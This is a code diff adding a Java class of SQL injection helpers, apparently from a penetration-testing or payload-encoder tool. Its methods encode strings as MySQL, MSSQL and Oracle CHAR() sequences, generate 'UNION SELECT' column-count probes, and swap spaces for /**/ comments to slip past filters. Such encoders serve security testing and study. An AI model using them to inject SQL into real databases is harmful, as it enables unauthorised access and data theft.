+import java.net.URLEncoder; +import java.nio.charset.StandardCharsets; +import java.util.Base64; +import java.util.Arrays; +import java.math.BigInteger; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +/** + * + * @author kyawmt + */ +public class sql { + public static String mysqlchar(String value) { + try { + String ascii = ""; + String mysqlcharoutput = ""; + char[] stringToCharArray = value.toCharArray(); + for (char output : stringToCharArray) { + ascii += (int) output; + ascii += ","; + } + mysqlcharoutput = "CHAR("+ascii.substring(0, ascii.length() - 1)+")"; + return mysqlcharoutput; + } catch (Exception ex) { + throw new RuntimeException(ex.getCause()); + } + } + public static String mssqlchar(String value) { + try { + String ascii = ""; + String mssqlcharoutput = ""; + char[] stringToCharArray = value.toCharArray(); + for (char output : stringToCharArray) { + ascii += "CHAR("+(int) output+")+"; + + } + mssqlcharoutput = ascii.substring(0, ascii.length() - 1); + return mssqlcharoutput; + } catch (Exception ex) { + throw new RuntimeException(ex.getCause()); + } + } + public static String oraclesqlchar(String value) { + try { + String ascii = ""; + String oraclesqlcharoutput = ""; + char[] stringToCharArray = value.toCharArray(); + for (char output : stringToCharArray) { + ascii += "CHAR("+(int) output+")||"; + + } + oraclesqlcharoutput = ascii.substring(0, ascii.length() - 2); + return oraclesqlcharoutput; + } catch (Exception ex) { + throw new RuntimeException(ex.getCause()); + } + } + public static String union(int value) { + try { + String ascii = "UNION SELECT "; + String unionsqlcharoutput = ""; + for(int i=1;i<value+1;i++){ + ascii += i+","; + } + unionsqlcharoutput = ascii.substring(0, ascii.length() - 1); + return unionsqlcharoutput; + } catch (Exception ex) { + throw new RuntimeException(ex.getCause()); + } + } + public static String spacetoinline(String value) { + try { + String ascii = ""; + String unionsqlcharoutput = ""; + return value.replace(" ", "/**/"); + } catch (Exception ex) { + throw new RuntimeException(ex.getCause()); + } + } +}